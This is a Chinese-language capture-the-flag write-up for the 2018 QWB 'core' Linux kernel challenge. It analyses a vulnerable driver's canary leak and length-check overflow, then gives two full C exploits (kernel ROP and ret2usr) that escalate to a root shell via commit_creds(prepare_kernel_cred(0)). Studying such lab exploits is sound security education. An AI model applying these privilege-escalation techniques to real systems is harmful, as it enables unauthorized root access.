Kernel ROP+USR
kernel ROP - 2018 强网杯 - core
前置准备:
题目提供:
vmlinux介绍:是静态编译,未经过压缩的kernel文件
==》可以通过vmlinux寻找gadget
(若题目没有提供vmlinux,可以通过extrace-vmlinux提取)
解压core.cpio:
init介绍:镜像初始化脚本
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
#将kallsyms的内容保存至/tmp/kallsyms中
#可以从/tmp/kallsyms中读取commit_creds,prepare_kernel_cred的函数地址
echo 1 > /proc/sys/kernel/kptr_restrict
#kptr_restrict设置为1==》不能通过/proc/kallsyms查看函数地址
echo 1 > /proc/sys/kernel/dmesg_restrict
#dmesg_restrict设置为1==》不能通过dmesg查看kernel信息
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
#设置了定时关机,直接注释即可
setsid /bin/cttyhack setuidgid 1000 /bin/sh
#修改成root启动,方便调试
#setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
删除自动关机,重新打包
运行内核(修改一下start.sh中分配的内存,64不够,128即可)
查看加载的驱动:
检查驱动:
静态分析:
1、初始化模块:
注册了/proc/core
2、删除模块:
删除/proc/core
3、core_ioctl():
设备通信
调用了
core_read() , core_copy_func() , 设置了全局变量off
4、core_read():
canary在rsp+0x40,==》将off设置为0x40==》泄漏canary
5、core_copy_func():
==》出现栈溢出漏洞点:
qword占8个字节==>signed __int64==>
qmemcpy使用的是unsigned __int16==>
栈溢出
6、core_write():
==>向全局变量name上写入
思路分析:
通过core_write()和core_copy_func()控制ropchuain
==》通过ioctl设置off,通过core_read()leak出canary
==》通过core_write()向name中写,构造ropchain
==》通过core_copy_func()从name向局部变量上写,通过设置合理的长度和canary进行rop
==》通过rop执行commit_creds(prepare_kernel_cred(0))
===》在/proc/kallsyms中保存了地址,直接读取===》根据偏移固定确定gadget的地址
==》返回用户态system(‘/bin/sh’)
===》返回用户态:
1、通过swapgs指令恢复用户态GS值
2、通过sysretq或者iretq指令恢复到用户控件继续执行
==》使用iretq还需要设置用户空间的信息:CS,eflags/rflags,esp/rsp等
// intel flavor assembly
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
// at&t flavor assembly
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
==》通过ropper获取gadget:
ropper --file vmlinux --nocolor > gadget
==》查找gadget
grep -n '^.\{20\}pop rdi; ret;' gadget
grep -n '^.\{20\}pop rdx; ret;' gadget
grep -n '^.\{20\}pop rcx; ret;' gadget
grep -n '^.\{20\}mov rdi, rax; call rdx;' gadget
grep -n '^.\{20\}swapgs; popfq; ret' gadget
grep -n '^.\{20\}iretq;' gadget
grep -n '^.\{20\}mov rdi, rax; jmp rdx;' gadget
在/tmp/kasssyms中寻找commit_creds和prepare_kernel_cred:
ROP exp
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
//调用/bin/sh
void getshell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts('[*]spawn shell error');
}
exit(0);
}
size_t commit_creds=0,prepare_kernel_cred=0;
size_t vmlinux_base = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;//提供的vmlinux基地址
//在/tmp/kallsyms中寻找commit_creds和prepare_kernel_cred
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms","r");
//打开文件
//打开文件失败
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error");
exit(0);
}
char buf[0x30]={0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
//在读取的文件中寻找commit_creds
if(strstr(buf,"commit_creds") && !commit_creds)
{
char hex[20]={0};
strncpy(hex,buf,16);
sscanf(hex,"%llx", &commit_creds);
printf("commit_creds addr: %p\n",commit_creds);
vmlinux_base=commit_creds-0x9c8e0;
printf("vmlinux_base addr :%p\n",vmlinux_base);
}
//在读取的文件中寻找prepare_kernel_cred
if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20]={0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx",&prepare_kernel_cred);
printf("[*]prepare_kernel_cred addr: %p\n",prepare_kernel_cred);
vmlinux_base=prepare_kernel_cred-0x9cce0;
printf("vmlinux_base addr: %p\n",vmlinux_base);
}
}
if (!(prepare_kernel_cred & commit_creds))
{
puts("[*]error!");
exit(0);
}
}
//返回用户态布置
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
//设置off
void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n",idx);
ioctl(fd,0x6677889C,idx);
}
//core_read泄漏canary
void core_read(int fd,char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B,buf);
}
//栈溢出
void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n",size);
ioctl(fd,0x6677889A,size);
}
int main()
{
save_status();
int fd=open("/proc/core",2);
if (fd<0)
{
puts("[*]open /proc/core error!");
exit(0);
}
find_symbols();
ssize_t offset=vmlinux_base-raw_vmlinux_base;
set_off(fd,0x40);//off设置为0x40
char buf[0x40]={0};
core_read(fd,buf);
size_t canary=((size_t *)buf)[0];//通过core_read获得canary
printf("[*]canary: %p\n",canary);
size_t rop[0x1000]={0};
int i;
for (i = 0; i < 10; i++)//填充至canary
{
rop[i]=canary;
}
//prepare_kernel_cred(0)
rop[i++]=0xffffffff81000b2f + offset;//pop rdi; ret
rop[i++]=0;
rop[i++]=prepare_kernel_cred;
//返回值赋给rax
//将commit_creds地址赋给rdx
rop[i++]=0xffffffff810a0f49 + offset;//pop rdx; ret
//rop[i++]=0xffffffff81021e53 + offset;//pop rcx; ret
//rop[i++]=0xffffffff8101aa6a + offset;//mov rdi, rax; call rdx;
rop[i++]=commit_creds;
//将返回值给rdi,并跳转至rdx执行
//commit_creds(prepare_kernle_cred(0))
rop[i++]=0xffffffff8106a6d2 + offset;//mov rdi, rax; jmp rdx;
//swapgs==》itetq
rop[i++]=0xffffffff81a012da + offset;//swapgs; popfq; ret
rop[i++]=0;
rop[i++]=0xffffffff81050ac2 + offset;//iretq; ret;
rop[i++]=(size_t)getshell; //rip
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
write(fd,rop,0x800);
core_copy_func(fd,0xffffffffffff0000 | (0x100));
return 0;
}
USR exp
通过在用户态构造commit_creds(prepare_kernel_cred(0))
注意点:
不能直接构造commit_creds(prepare_kernel_cred(0))==>
必须根据函数原型进行正确的函数指针声明再通过函数指针调用
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
//调用/bin/sh
void getshell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts('[*]spawn shell error');
}
exit(0);
}
size_t commit_creds=0,prepare_kernel_cred=0;
size_t vmlinux_base = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;//提供的vmlinux基地址
//在/tmp/kallsyms中寻找commit_creds和prepare_kernel_cred
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms","r");
//打开文件
//打开文件失败
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error");
exit(0);
}
char buf[0x30]={0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
//在读取的文件中寻找commit_creds
if(strstr(buf,"commit_creds") && !commit_creds)
{
char hex[20]={0};
strncpy(hex,buf,16);
sscanf(hex,"%llx", &commit_creds);
printf("commit_creds addr: %p\n",commit_creds);
vmlinux_base=commit_creds-0x9c8e0;
printf("vmlinux_base addr :%p\n",vmlinux_base);
}
//在读取的文件中寻找prepare_kernel_cred
if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20]={0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx",&prepare_kernel_cred);
printf("[*]prepare_kernel_cred addr: %p\n",prepare_kernel_cred);
vmlinux_base=prepare_kernel_cred-0x9cce0;
printf("vmlinux_base addr: %p\n",vmlinux_base);
}
}
if (!(prepare_kernel_cred & commit_creds))
{
puts("[*]error!");
exit(0);
}
}
//返回用户态布置
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
//设置off
void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n",idx);
ioctl(fd,0x6677889C,idx);
}
//core_read泄漏canary
void core_read(int fd,char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B,buf);
}
//栈溢出
void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n",size);
ioctl(fd,0x6677889A,size);
}
//在用户态构造commit_creds(prepare_kernel_cred(0))
void get_root()
{
char* (*pkc)(int)=prepare_kernel_cred;
void (*cc)(char*)=commit_creds;
(*cc)((*pkc)(0));//使用指针调用
}
int main()
{
save_status();
int fd=open("/proc/core",2);
if (fd<0)
{
puts("[*]open /proc/core error!");
exit(0);
}
find_symbols();
ssize_t offset=vmlinux_base-raw_vmlinux_base;
set_off(fd,0x40);//off设置为0x40
char buf[0x40]={0};
core_read(fd,buf);
size_t canary=((size_t *)buf)[0];//通过core_read获得canary
printf("[*]canary: %p\n",canary);
size_t rop[0x1000]={0};
int i;
for (i = 0; i < 10; i++)//填充至canary
{
rop[i]=canary;
}
rop[i++]=(size_t)get_root;
//swapgs==》itetq
rop[i++]=0xffffffff81a012da + offset;//swapgs; popfq; ret
rop[i++]=0;
rop[i++]=0xffffffff81050ac2 + offset;//iretq; ret;
rop[i++]=(size_t)getshell; //rip
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
write(fd,rop,0x800);
core_copy_func(fd,0xffffffffffff0000 | (0x100));
return 0;
}